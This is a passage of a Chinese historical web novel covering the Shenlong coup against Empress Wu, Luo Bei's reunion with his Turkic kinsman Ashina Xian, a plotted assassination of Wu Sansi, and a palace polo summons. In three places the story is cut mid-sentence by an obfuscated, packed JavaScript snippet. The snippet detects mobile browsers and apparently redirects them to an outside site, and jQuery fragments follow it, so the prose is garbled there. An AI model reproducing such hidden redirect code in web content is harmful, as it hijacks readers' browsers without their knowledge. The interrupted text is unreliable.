“我并没有希望你能相信,当下我也拿不出证据叫你相信。我说这些,只是想告诉你一件事。”洛北轻轻地一笑,眸光却微闪,似是悲伤神色,“褚女史,我是无论如何都不会伤害你的。” 他看到褚沅别过脸去,伸手扳过她的脸颊,用指尖轻轻擦掉了她脸颊上的一滴泪:“莫哭。”他低声对褚沅说,也像对自己说:“莫哭。” “阿兄……”褚沅把自己投进他的怀里,眼泪止不住地落了下来,“……我真的以为,你们都已经死了……” 次日洛北便拜会张柬之,拿着宫中地图共商政变的诸多细节。 头一个要解决的便是宫中各处驻军的守将。这件事情张柬之不放心任何人去做,自己亲自完成,从金银财宝到官爵田地,乃至于许诺儿女亲家,结拜为兄弟—— “唯有一个人有些麻烦。”张柬之点了点玄武门,“玄武门内的‘百骑’统帅田归道。他不愿意为了诛杀二张而惊扰女皇。说不定会同我们为难。” 洛北道:“我和田归道打过交道,他是个尽忠职守的臣子,但也会审时度势。只要太子出现在玄武门前,他就绝不会阻拦。” 以宰相之身兼任东宫左庶子的崔玄暐不慌不忙道:“太子已应允过,会准时出现。” “太子性格温懦,恐怕到时候还要崔兄和李湛将军一道去劝说。”桓彦范道,“太子不出,大事不成。” 他说着,似乎想起什么似的:“洛北,你久在凉州,什么时候和田归道有了来往?” 洛北一时语塞,他总不能说是当时田归道出使突厥时,他作为突厥汗国重臣乌特特勤去和田归道接洽过:“是我的朋友裴伷先和他有来往。” 张柬之敲了敲桌子,对他俩这番东拉西扯很不满:“现在不是理论这个的时候,记住,正月二十二——玄武门!” 正月二十二,是个无风无月的黑夜。 按照原计划,应当由太子的女婿王同皎进入东宫将太子迎出,再赶往玄武门与众人会和。 只是桓彦范叮嘱在先,崔玄暐和李湛干脆一道进了东宫。 李显卧在榻上,竟然是在装病。 李湛是太子李显的侍读,也是李显多年的老友。见他这副样子就知道他又犯了懦弱的老毛病:“太子殿下这是什么意思?” “二张,二张是该诛杀。”李显嗫嚅着嘴唇,“可是,可是圣上年老,又有病,万一……” 崔玄暐听明白了,李显是担心兵马一动,惊了女皇,让他背上不孝的恶名,他心底冷笑一声,面上却一派温煦: “殿下若是真的仁孝,此时更应举兵。宫中消息,二张挟持女皇,恐有逆谋之举啊。” 李显连连摇头:“不不不……二张动不了母皇的……我们也斗,斗不过她……” 李湛和崔玄暐对视一眼,李湛正要上前一步,却听到大殿屏风后一个沉静的女子声音:“显,你过来,我有话和你说。” 李显听到这女子的话,脸上露出羞惭神色——那是为他养育儿女,又陪他在房州受苦多年的太子妃韦氏。 韦妃已在屏风后立了多时,见李显过来,脸上也没有一丝温存: “有些话臣子们不好说,我和你说吧,你已经与张柬之等人通谋,今夜如果失败,追查起来,你以为你能逃得掉?到了再被流放的时候,我一头碰死在你们李家的宗庙里,也不会和你去了!” 她这话言辞激烈,倒叫李显想起了房州的日子,那时他每每战战兢兢,每天都害怕女皇的使者带着毒药刀子前来:“我……” 韦妃声色俱厉:“你以为你不去,今天这件事情就能善了吗?你那个好弟弟做过皇帝也做过皇嗣,论资历他输给了你?你的妹妹门客众多,又和宫人们关系密切,这皇位她一定坐不了?到时候他们推翻大周,把你这‘大周太子’拿来祭旗,我看你怎么办?!” 她说完拂袖而去。李显咬咬牙,走出屏风:“走!” 他们走出东宫,已有数十骑兵马候在那里,洛北也着了铠甲侧身其中,他看李显脚步缓慢,心里就是一急,看来今日的计划要迟了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281659|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李显翻身上马,许是太过紧张,好几次都没能挪到马上。他好不容易鼓足的勇气都不知去了哪里:“我不行,我干不了……” 李显一直生活在母亲的阴影下,此时他不是不明白道理,可就是害怕! 李湛气的怒发冲冠,快步走到他面前,一把抓住了他的手腕。 “我干不了!” “干不了?”李湛冷冷一笑:“如今是箭在弦上不得不发,将士们不顾身家性命匡扶李唐,你说不干就不干,难道置他们于死地?不干可以,你自己去跟他们说!” 那十几个大小将领满身披挂、腰悬兵刃、肩挎弓弩,个个都是一副不耐烦的神情。和他们说声不干,怕是这帮人真能来一出“太子身殁乱军,奉相王为帝。” 李显手也不抖了,腿也不颤了,被王同皎一扶就上了马,一行人浩浩荡荡,来到了玄武门外。 但此刻分兵去诛杀诸武已经来不及了,只能由太子叫门,先入宫诛杀二张。田归道也确如洛北所料,开门放了太子入宫。 漆黑的夜色之中,早有安排好的宫人替军人们引路,穿廊过殿迅速至极,不多时已逼近迎仙宫外。 迎仙宫内外的宫人已被提前撤走,张易之从梦中醒来,听到声响,还以为宫中失火,披起衣裳,骂骂咧咧地走了出来。 洛北已将弓箭捏在手中,见到那张面容一出现,当即放出一箭,正中张易之眉心。 张易之连惊讶都没有露出来,便已经倒了下去。 李多祚振臂高呼:“将士们!随我入宫,诛杀二张!” 潮水般的羽林军士兵们涌入宫中,在偏殿找到了张昌宗,这位莲花六郎吓得花枝乱颤,慌不择路地想走,便被几个抢功的士兵乱刀杀死了。 此刻前廷也传来喧哗,相王和相王府司马袁恕己率领南衙军队进入宫中,控制了各部值夜的官吏。薛季昶也率兵闯入张氏兄弟府邸,将张昌仪等拿下。几路人马会合宫前——该杀的都杀了,该抓的都抓了。 只剩下最后一个目标。 张柬之小心翼翼登上玉阶,隔着殿门询问:“圣上无恙乎?” 门内传来上官婉儿的声音:“刚刚醒来,一切安好。” 她早命心腹之人把守殿门,防止女皇知晓动静,防止士兵闯入,更防止二张要挟女皇。 “太子想要求见圣上,请上官内相代为通报。” 宫灯亮了起来,梦中的女皇终于醒来,她看着殿中的人,忍不住问道:“何人作乱?” 张柬之出列一步,对她道礼:“昌宗、张易之谋反,臣等现已奉太子之命将其诛杀!” 李显?!竟然是她最怯懦的儿子李显?女皇不可置信地打量人群,果然在人群中找到了太子的身影:“既然谋反之人已诛,你可以回东宫了。” 李显下意识地要走,崔玄暐忙拉住他,又朗声道:“太子岂能再回东宫?昔天皇以爱子托付陛下,至今二十一载。今年齿已长,久居东宫,天意人心,皆思李氏!臣等亦不忘太宗、天皇之德,故奉太子以诛贼臣。愿陛下速传位太子!” 殿中众人一道高呼:“请陛下传位太子!” 女皇知道大势已去,扭头不应。但答不答应结果都是一样的了,上官婉儿挥笔写下了女皇时代的最后一封诏书: 退位的诏书。 38. 第 38 章 第二日的清晨,雪花飞舞,洛北踏着新雪去了白马寺外。 “狄公!”他双目含泪,跪倒在狄仁杰墓前,“我等终是不负所托。” 风声呼哨,似是早逝的恩师在听他答话。 洛北将手边一坛好酒尽数倾倒在狄公墓前,又将陶罐砸碎在一边,正要转身离开,却看到了同样捧着酒壶前来的姚崇。 “姚相公。”他低头道礼。 姚崇没有想到他在这里,神色一动,也流露出了些脉脉温情:“……我听说了,有位神射手一箭射倒了张易之,大功始成。” 洛北轻轻一笑,也不否认:“姚相公谬赞。” “你这打扮,是要离开洛阳?正是论功行赏的时候,现在离开,不太明智吧?” “我在长安城中还有事未完。”洛北坦然答道,“我参与起事,是为了报答狄公的恩情,完成他生前遗愿。至于功名利禄,得之我幸,不得我命。” “哈,看来洛公子还不是自命清高的伪君子,既然如此,一路顺风。”姚崇笑道。 洛北又对他道了一礼,大步走出了树林。 此刻雪势渐大,洛北伸手接了一片雪花,凉意在他指尖一闪而逝,他不由得大笑出声:“好一场大雪啊。” 说罢,翻身上马,向长安城中奔去。 洛北回到长安的时候,满城的武周旗帜已经落下,取而代之的是随风飞舞的“大唐”旗帜。他依照记忆里的路线走进安兴坊中,果然找到一处朱门大户。 正巧门子打着哈欠出来扫雪,没留意到洛北,不当心往他脚面上扫了两扫:“喂,这小子站在这儿发什么呆啊?” “老丈,”洛北也不气恼,只问,“这可是右骁卫大将军,北庭都护,兴昔亡可汗殿下的住宅?” 门子把他上下打量一番,只见他一身轻裘,但器宇轩昂,不似常人:“你是什么人?” “我是可汗殿下的族人,叫洛北。”洛北自报家门。 “你?”那门子上下打量了一番,“你看着不像突厥人。” “我的母亲是汉人。”洛北笑了笑,从袖中摸出一点碎银,“老丈且代我跑这个腿,若要银钱我这里还有不少。” 门子摇了摇头:“我不是这个意思。”他拿身上衣服擦了擦手,进到门里,告诉守门的带刀的突厥侍卫:“外头有个客人,说是老爷的族人洛北,想要求见。” 那突厥侍卫汉话说的也不错:“他可有什么凭证?” “这……” “说是族人,他是哪个部族的?” 这门子当然答不出来,那侍卫正要将门子赶出门外。阿史那献一身劲装,从屋中走了出来。他本要去城外跑马,见到这些人在争执,发问:“你们在说什么呢?” 那突厥侍卫道:“门子说外头来了个主上的族人,但问他是什么部族,却答不出来。” 阿史那献不以为意,随口问道:“那他总该说了名字吧?” “这……老爷,那人说他叫洛北。” “洛北?听着像个汉人名字。”那侍卫改用突厥语向阿史那献说道,“主上,自从咱们回了长安,除了朝廷负责西域事务的那些人,什么时候有人来拜访过,这个小子假冒您的……” 阿史那献神色一动,要抬手说话,几度开口,都只是颤抖了嘴唇:“请他进来!立刻请他进来!请他来我房里……再送两壶酒,送些吃的!” 他风风火火地转回室内,一边指挥送茶送水,一边指挥收拾屋子准备衣裳,恨不得把全屋子的人都喊起来,倒叫原来去牵马的侍从丈二和尚摸不着头脑。 洛北一路穿堂来到二门前,过堂里的松树长得有两人高,他在树下绕了半圈,果然在树皮上找到几处凹下去的痕迹。那是小时候阿史那献教他射箭的时候留下的。岁月冲刷,这痕迹也变浅不少。 一个带刀的突厥侍卫叫过了他的名字,带他穿过那些熟悉得好像在梦里才出现的亭台楼阁,终于停在阿史那献的房门前。 “喂,你可以进去了。”侍卫故意以突厥语喊他。 “哦,多谢。”洛北极自然地用突厥语答他,而后推门而入。 屋子里的瑞兽香炉静静地烧着,阿史那献背手站在窗前望着窗外的两支枇杷叶。洛北半跪在地,一手抚肩,向他行了个突厥的大礼:“伯克——” 阿史那献似乎才从回忆里醒来,转过来时,几乎不能把这个半跪在地上的青年同他记忆里的那个孩子对照起来。 他快步走到洛北面前,双手把他扶起来:“孩子……你……你长大了。”他在洛北的眉眼上找到了熟悉的痕迹,“你,你长得实在很像你母亲。” “伯克……长安城里恐怕已经没人记得她的长相了。”洛北不由得轻叹一句: 他离开父母的时间太早太早,早到他们对他来说,只是记忆里一个不甚牢靠的影子。 阿史那献低头笑了笑,脸上难得露出惆怅神色。他是长安城里出生,草原上生长的汉子,虽已经在多年流放生涯中平添了许多霜雪,却依旧没能改掉喜怒形于色的习惯。他拉着洛北的手臂,带他坐到窗边的坐榻上: “我刚回来的时候,听解琬说,你在凉州,是几时回长安的?怎么不叫我知道?” 洛北说:“我回长安已有一段时日,但忙着一桩抄家灭族的事情,不想牵连伯克,所以不敢前来相认。如今大局已定,我才来拜见。” 他讲话时自然而然地流露出一种骄矜,阿史那献便知道此事非同小可,他沉吟片刻:“你参加了那场宫变?” 洛北没有答话,只轻轻颔首。 “什么?!”阿史那献下意识站起身,四处张望了一番,房中四下里无人,只有窗户的影子被初生的日光照在地上。他只觉得情绪高涨,说不清楚是喜是悲,一腔真情喷涌而出,不由得对天高呼: “父汗,父汗!听到了吗?!你的在天之灵,可以安息了!”说罢,泪流满面。 洛北只得等他平静情绪,才又开口:“伯克,我还有几件东西要给您。” 他从腰间解下那柄从不离身的唐刀,半跪在地,双手举过头顶,递到阿史那献面前。 刀首的玉石熠熠生辉,花叶围绕的刀把也没有多少磨损,可见保存者之细心。阿史那献半惊半喜,抽开刀鞘一看,刀上赫然雕着一只飞起的雄鹰。 这正是太宗文皇帝赠给两位结义兄弟的陨铁宝刀之一。 飞鹰翱翔,象征着西突厥可汗至高无上的权威。 阿史那献已然认出此刀,声音哽咽:“这是……这是我祖父的东西,是昔年太宗文皇帝与他结拜时相赠的信物,是我们家的家传宝物,你从哪里得到的?” “吐蕃。”洛北轻声道,“我曾因缘际会,去高原拜会了绥子伯克。” 他所说的“绥子伯克”,便是阿史那献的兄长阿史那绥子。当年他们的父亲阿史那元庆被杀,阿史那绥子在北庭故地安定部族,闻讯立刻出逃吐蕃。 从那个时候起,这对兄弟已有十余年不曾见面,后来阿史那绥子侵扰西域失败,遁入更西的吐火罗之地……如今已经是音讯全无。 阿史那献实在没想到,再听到自己哥哥的名字会是在洛北口中:“他怎么样?” 洛北道:“绥子伯克那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281660|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时已被吐蕃封为西突厥十姓可汗,与突厥和大唐两家为敌。他虽然大为后悔,但他带着部族和兵马在高原上,已经没有了退路……便托我将此物转给您,还说''兄弟一场,之后不会再见了,希望他自己珍重吧。''” 阿史那献接过宝刀,不禁以手掩面而泣。他们兄弟关系极佳,如果不是父亲被酷吏构陷而死,他们本可以一辈子做和睦兄弟。 洛北知他心中痛苦,只好安慰他几句:“伯克,如今您是兴昔亡可汗了,此物回到您手中,算是天意所归。” 阿史那献惨然一笑:“倘若家人尚在,我倒宁愿不当这个可汗,只做个周游四方的游侠。”他好久才平复情绪,擦干眼泪:“兄长还记得你是我的孩子?” “是,绥子伯克让我随意在部族中招抚,他不加干涉。胡禄屋部、鼠尼失部和弓月部三部首领愿意带部随我回归西突厥旧地。我们在雪山下重盟十箭之誓,以亘古不变的雪山见证,三部忠于兴昔亡可汗家族,永生永世不得背叛,如有违者,粉身碎骨,魂飞魄散,又重铸金箭和金弓为信物,立碑为记。” 洛北说完,从包裹中拿出一只锦袋,抽开丝绦,拿出一只金质的小弓,递到阿史那献手上: “既然伯克不日便要回北庭故地,我想此物在伯克手上,比在我手上更有用。” 阿史那献接过金弓,沉默了好久,才问:“……当时,你是替默啜去招抚西突厥旧部的吧?” 洛北知道瞒不过他,只得点头称是:“不知道伯克可听过,‘乌特特勤’?” 阿史那献一听此名,脸上流露出复杂情绪。他自三年前回转北庭都护府,耳边便不断听各部族提及此名。 传闻中乌特特勤是个少年,容貌英俊一如祆神亲临。他琥珀色的眼眸如同流金,是祆神亲自点化,可以看破一切。他的骑术如风一样迅疾,他的箭术可以射落星辰。他爱护部族百姓如同自己的儿女,他治下牛羊繁茂,百物复兴—— 最让阿史那献不高兴的是,此人自称是西突厥兴昔亡可汗家族的子侄。所以北庭不少兴昔亡可汗家族的旧部倒向默啜,大部分是仰慕此人威德的缘故。 阿史那献不胜其烦,但乌特特勤已经身殁黑沙暴,他又不能与死人争锋,他突然反应过来:“你是说……?” 洛北坦然承认:“我就是乌特特勤。” 阿史那献怔在当场,那位早逝的,他永远比不过的月亮一般的乌特特勤,竟然是自己的孩子? 洛北以为他在生气,辩解道:“当初没有及时告知伯克,是我的不是。只是默啜肯给我爵位和官职,却不肯给我部族和兵马……我久在牙帐,并不经常去西域。实在没想到……” 没想到这些传说能传得这么离谱。 阿史那献自然不至于迁怒于他,摆了摆手示意他不要在意:“我是默啜,也只敢把你留在身边。他若封你去西域,便等于默认你裂土封王。不过阿史那匍俱是个无能之辈,所以他还是容不下你。” “不错,他担心我会支持他的侄子默矩为储君,所以先痛下杀手。我九死一生,才逃到凉州。” 阿史那献后悔道:“早知你坎坷如此,当年我无论如何也会把你带在身边。” “伯克收留我的时候还没我现在的岁数大,又何必苛求自己,在凉州时,郭都督曾经说,若无您躬亲抚养,便不会有''乌特特勤''。我深以为然。伯克,您不要再为过去的事情自苦了。” 阿史那献点了点头,他犹疑一阵,忽而开口道: “洛北,我年后便要启程前往北庭,回到咱们家的故地,我的部族身边。你……不同我一道去吗?” 39. 第 39 章 洛北怔住了。 他幼时家破人亡,一路颠沛流离,辗转各地,又做了默啜多年的书记官,磨出他城府深沉,喜怒不形于色的性子。 但阿史那献这一问还是叫他大为震动,他张了张口:“伯克说什么?”出来的声音已带着哽咽。 阿史那献轻轻一笑,好像也想起了过去的日子:“你同我一道去吧,洛北。那里草原宽阔,白云缥缈,我带你去打猎,就像小时候那样。” 洛北低垂眼眸,思索片刻,还是睁开双眼,定定地望着阿史那献: “不,伯克。我已经不再是孩子了。” 他在心底重复这句话: 我有了自己的骏马,自己的猎鹰,自己的宝刀,自己的朋友,自己的族人。 我已经不再是孩子了。 阿史那献知道洛北素来意志坚定,刚强不可夺其志,也不多劝:“我想,你刚来长安,一应物品应当没有准备。不如暂住在我这里,等到你置办完毕,再搬出去怎么样?” 话说到这个份上,洛北也没有拒绝的理由,只得暂时在他小时候待过的东跨院居住下来。 阿史那献又送给洛北许多衣饰器玩和仆役下人。有在长安的突厥贵胄子弟前来拜访,他也都引荐给洛北认识。 这些突厥贵胄的家族都归附唐朝已久,大部分人受到父祖旧日军功荫庇,在禁军中任职。因皇帝不在长安,这些人也无所事事,每日便是骑马、打猎、宴游。 洛北出手阔绰,骑射功夫精妙,不过月余功夫,就和这些人混得熟络起来。 春二月的时节,裴伷先从洛阳赶来长安见洛北。洛北已如在长安的突厥贵胄子弟一般:身着窄袖洒金锦缎的圆领袍,腰束多宝蹀躞带,脚蹬牛皮长靴,金雕宝马,仆役成群。 “公子现在比在草原上的时候更像是一位突厥王子。” 正是乍暖还寒的季节,裴伷先与洛北闲坐舟中,饮酒谈天。小舟随风在曲江池上飘荡,熏风阵阵。 “伷先这是在夸我,还是骂我?”洛北笑道,他替裴伷先倒了一杯酒:“我听说圣上已经下诏复你官职,召你担任太子府詹事。恭喜了。” 裴伷先是宰相裴炎的侄子,当年受裴炎的冤案牵连流放,如今李显复位,也想起来了这位前宰相。 有司查问之下,才知道裴炎的族亲之中,只有裴伷先幸免于难。于是圣上便将他提拔到了太子府詹事的位置上。 裴伷先摇了摇头:“太子李重俊可是非嫡非长,只因为嫡子李重润惨死,庶长子李重福又因参与构陷李重润的案子被圣上和皇后厌弃,才登上了这个太子位置。恐怕......”他没有说下去,只仰头将杯中酒饮尽,又道:“更何况,他和武三思走得很近。” “武三思?”洛北大为惊讶,武三思是武氏宗族的首领,也曾在女皇晚年时与李显争夺权位。如今李显登基,不仅没有贬斥武家子弟,反倒放任武三思和太子李重俊走得这么近。这不是一个君王应有的做法。 “不怪公子惊讶,天下惊讶者大有人在。如今张柬之相公执掌朝政,一味贬斥二张的党徒,却忘了武家在背后虎视眈眈。” 裴伷先叹了口气:“我心怀忧虑,曾经去求见张相公,张相公却说,如今杀的人已经太多,武家这几个子弟不如留给圣上自己处置,也好让圣上树立威信。” 洛北深深地叹了口气:“我本来以为张相公老成持重,绝不会放虎归山。没想到他也犯了软弱的毛病。武三思是圣上的亲家。当年与李重润等人一起被女皇赐死的,也有武家的子弟。亲疏远近,难道张相公想不明白?” 裴伷先没想到洛北能把话说得这么重:“公子也不要太担忧了。如今参与政变的五位大臣掌握了兵部和门下中书两省,不仅全部拜相,还都赐下了爵位。武家在朝中已经不成气候了。” “可武家的子弟们还是亲王,还兼任着禁军首领的官职。”洛北不再解释,只望着桌上的酒壶沉思起来。 “我在出发之前,曾经去拜见了姚崇大人。姚崇说他已和宋璟联名举荐公子从凉州调任兵部职方司员外郎。春闱之前,朝廷便要迁回长安,公子既然在兵部,不妨多劝劝张相公。” 提到姚崇,洛北又想起另外一件事:“前几日我听几个禁军提起,姚崇被贬出京城,原因是他在女皇迁居上阳宫时痛哭不已,为张相公所不能容。可真有此事?” 此事裴伷先也是在路上知道的:“听家人传闻,确有此事。如今朝野议论,说五大臣是排除异己。” “搞政治搞到这样自骄自满的地步,恐怕他们是被胜利冲昏了头。”洛北摇了摇头:“他们自以为掌握朝政,就可以高枕无忧,万事大吉了,却忘了一个最重要的人。” “谁?” “圣上。” 纵然舟上除了他们之外并无旁人,身边除了浩浩汤汤的河水别无他物,洛北还是压低了声音: “伷先,这是个再简单不过的道理。圣上冒天下之大不韪参与宫变,推翻自己的母亲,难道是为了当个处处受宰相掣肘的皇帝吗?” 帝王心事鬼神不言,洛北这句话一下子点出要害。 裴伷先也不免被吓得脸色一白:“公子的意思是,不要说张相公等现在不会上书要求处置武氏子弟,便是上了书,圣上也绝不会恩准。” “想要靠正常的政治手段扳倒他们,恐怕很难。”洛北又给自己倒了一杯酒,一饮而尽。他是岐黄大家,平日不喜饮酒,此刻却是需要几杯薄酒帮助自己下定决心,“要从快从速,只有一个办法。杀了武三思。” “杀了......武三思?”裴伷先反应了过来,“公子的意思是:行刺?” “武家子弟之中,多的是趋炎附势的无能之辈。只有武三思称得上是彻头彻尾的野心家。他与宫中牵连甚多,又是圣上的亲家。”洛北斩钉截铁地道:“只要他一死,大局可定。除此之外,别无他法。” 裴伷先听他语气,心中升起了一股不详的预感:“公子......不是打算亲自去吧?” “这样的事情,我也不是第一次做了。”洛北轻轻一笑,“放心,我晓得厉害。伷先,今日你我要在池边做出不欢而散的情状。之后我会搬出阿史那献将军的府邸,你处理完长安几个铺子的事情,就立刻回到洛阳的太子身边。” 他这话的言下之意是要把裴伷先支开。裴伷先气得当场一拍桌子:“公子!当年我伯父裴炎之死便与武三思有关,我难道不想复仇吗?此等机密事情确实是知道的人越少越好,可公子也不能单枪匹马地做成此事。” “船!”洛北见他情绪激动,几乎要在舟中起身,小船颠簸不平,忙将酒壶捞在手中。 裴伷先也怕翻船,只得坐下来,脸上依旧是一片愤恨不平。 洛北想了想,又温言劝道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281661|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当年我杀突厥国权臣阿史德元珍,便是单枪匹马。伷先你......” 裴伷先忍不住开口打断了他的话:“阿史德元珍?!他是公子所杀?当时他在突厥国的权势如日中天,却突然病死在西征西域的途中,不少人都很惋惜。默啜还亲自主持了他的葬礼,为他立碑。” 洛北忍不住笑了:“就是默啜要他死。我不是说过么,没有几个君主是能容忍得下权臣的。” “可是当时公子应该刚到突厥不久吧?也才被默啜承认为阿史那家族的子弟不久。”裴伷先还有一句话隐而不发:当时洛北才十二岁,默啜怎么敢委派洛北这么个少年去做这么凶险的事情? “默啜知道阿史德元珍护卫极多,部族也骁勇,所以才出此下策。我那时候急需一个机会获取默啜的信任,就当了这枚棋子。” 洛北从未同人说起这段往事,甚至连回忆都不常想起,此刻也不想多谈:“都过去了。现在伷先应当信我可以单枪匹马完成此事了吧?” 裴伷先斩钉截铁地道:“我不拦公子,可公子也不要想将我排除在外。我与武三思的怨恨是家仇——我绝不能放过他。” 洛北只得随他去。两人商定诸多细节,才一同下了船,各自分别。 春三月,春闱将至,朝廷终于从洛阳迁都回了长安。沉寂一年之久的长安宫室和各部衙门,又迎来了勃勃生机。 洛北也接到了调令,从七品的凉州参军升任为从六品上的兵部职方司员外郎。他到兵部的第一日,便去拜会兵部尚书张柬之。 张柬之正忙着同人商议武举的事情,见到洛北来,只招呼他在屋内坐下。 洛北等了一个多时辰,张柬之才得空和他说话:“洛北,你今日怎么来拜访?” “属下今日第一天到兵部来报道。按照礼节,应当来拜会主官。”洛北又给张柬之行了一礼。 张柬之心喜他知进退,懂礼节,面上却故作谦逊:“何必这样客气。我听说你在凉州曾经替郭元振执掌机要,职方司主要负责的是天下舆图、镇戍、烽燧的管理,你也算鱼入大海了,我等着你施展所长。” “张相公谬赞了。”洛北不料他同自己打起了官腔,只得喏喏应付几句,就辞别回到了自己所在的职事堂中。 他的顶头上司职方郎中是个喜欢说笑的人,见他一无所获地回来,不由得笑道:“怎么,张相公没说什么好话?” “没什么好话,也没什么坏话。”洛北躬身应答,殷切地替郎中手边添上茶水,“只说了几句要加勉励的话,就退了回来。我这准备了一肚子突厥、吐蕃边境的情况,都没派上用场。” 职方郎中哈哈大笑:“你从凉州来,不知我们朝中的情况。圣上已经下了圣旨,要召还当时开罪二张而被贬谪的魏元忠回朝。魏元忠是平定徐敬业叛乱的功臣,又是圣上在东宫时的旧部。你说,这样的功勋,圣上要怎么安排呢?” “这,自然是要魏相公执掌兵部了。”洛北心中一凛,这一任命说明皇帝对五大臣的不信任已经到达了巅峰——所以他才会召回自己在东宫时的臣子。 “这不就是了。所以张相公才什么都不和你说。这兵部的事情,他想说,也说不上话了。”职方郎中道。 洛北低头应允,又趁机奉承上官几句,请他有空的时候到家中做客,心里却暗暗下了决心——诛杀武三思的事情,恐怕等不到准备万全了。 40. 第 40 章 “这件事情不可再拖。”洛北返回府邸,就与裴伷先商议了起来。 裴伷先已预先盘下了武三思府邸对面的酒楼,又派两个人日夜看守,观察武三思的动静。 可自神龙政变,朝廷迁回长安以来,武三思就一改往日嚣张跋扈的风格,整日闭门谢客,唯独上朝和去府衙理事会离开他的府邸。 “这个时机恐怕不太好找。”裴伷先仔仔细细地翻阅了数月以来的记录——他派去看守的人是两个突厥武士,他们都使用突厥文字,不怕泄密:“武三思出行,必是前呼后拥,在府里也是护卫重重。” 洛北如今已经领受朝廷差事,是每日都要去衙门点卯的,抽不出时间再做伪装潜入的事情。可他又已打定主意不把更多人牵扯到这个阴谋中来,不想假手于人。 他一时举棋不定,门外却传来下人通传,说宫中使者来访,请兵部员外郎洛北入宫觐见。 洛北和裴伷先对视一眼,有些奇怪,兵部员外郎只是一个从六品上的官员,如今已是晚上,宫中会有什么急事找他:“伷先,你在这里不要妄动,我去看看动静。” 洛北来到门口,街上明火执仗,站满了深夜出行的禁军,下仆已摆出香案和蒲团,他跪倒在地,恭迎宫中使者。 “圣上口谕,宣兵部员外郎凉州洛北觐见。” 这声音清润如玉,听着甚是耳熟。 洛北抬起头一看,面前来宣旨的女官正笑意盈盈地盯着他,不是褚沅又是谁? 褚沅一身绯服,斜髻金钿,神采飞扬:“洛公子,快换官服,同我一道入宫吧。” 洛北依言换了官服,与她同乘一辆马车前往宫中。 他自宫变之后,便没再见过这个妹妹,此刻看她已换上女官服色,不由得感慨万千:“没想到能再见褚女史。” “公子,圣上已经下旨,命我执掌宫中的内学馆,如今你该叫我褚学士了。”褚沅道。 宫中内学馆是宫中藏书之地,也是教导皇子公主及宫女们的地方。 当年,他们的曾祖父褚遂良便担任过李世民的弘文馆学士,如今褚沅再担任此职,也可谓是一种传承。 “这是我的不是,我正月一过便离开了洛阳,回了长安。还未来得及恭喜褚学士。”洛北想了想,从腰间拿出一只荷包递给她,“这里头的东西,就送给褚学士作贺礼,如何?” 褚沅解开荷包看了一眼,一只莹莹发亮的夜明珠安静地躺在袋中:“洛公子的贺礼便是拿这些金银珠宝来打发人?” “褚学士误会了,这是避尘珠。”洛北忙开口解释道,“佩戴此物在身,可以保证灰尘不侵,污秽不沾。要是褚学士不满意,开出单子来,我可以去找。” 褚沅噗嗤一笑:“我不是真的要公子的东西。”她将荷包极珍惜地收在怀里:“圣上已经恩准上官姑姑和我们几位女官在宫外置办宅邸。公子到时候可要多来看望我啊。” 说话之间,马车已停在宫门外。褚沅先跳下马车,查验过金鱼袋,才带着洛北进了宫。 “圣上找我有什么事?”洛北好奇问。 “吐蕃的使者来长安商量当年太后应下的和亲之事。”褚沅道,“圣上今日在宫中宴请,他们说,久闻圣上喜欢马球,他们的使节也是马球好手,愿与大唐的儿郎们竞赛一番。” 打马球在大唐是个风靡一时的运动,不仅王公贵族们喜欢,民间男女也常常以马球娱乐。周边的突厥、吐蕃等地也有马球的风俗。 这一次吐蕃的使节前来求亲,却带了不少马球好手,又主动提出要比试马球,定是存了在这项运动上压倒大唐的意思。 褚沅说:“圣上已经安排一轮马球队的子弟和禁军的军官们试了试,最好的成绩也不过打个平手。 所以圣上下令中止比赛,赐宴吐蕃使者,又叫禁军和近臣们举荐马球好手,要在宴席结束之后和吐蕃使者再对战一次。 几个禁军提到了你的名字,圣上就让我宣你进宫。” 夜色深沉,月光如水,皇宫内的马球场却被无数灯火照得如同白昼。 皇帝李显还在宴席上,在此地主持大局的是太子李重俊,他今年才二十二岁,身着一身黄色袍服,双目之中有一股英武气息:“你就是洛北?” “是,微臣叩见太子殿下。”洛北低头行了礼。 李重俊把他让起来:“大敌当前,不要多礼了。禁军们说你骑射无双,吐谷浑首领慕容曦光也说你是个神射手,这才把你宣进了宫来。这一场比赛的事情,褚学士可同你说了么?” “说过了。”洛北听裴伷先介绍过这位太子的情状,说他聪颖好学,只是有些耽于享乐,如今见面,也觉得这位太子资质不错。 “哼,这群吐蕃人敢在太岁头上动土,如今就要让他们看看我大唐的气派。”李重俊恨声道,“咱们今天打的是积分制,先积二十分者胜。洛北你精通骑射,就同隆基一道担任前锋手,如何?” 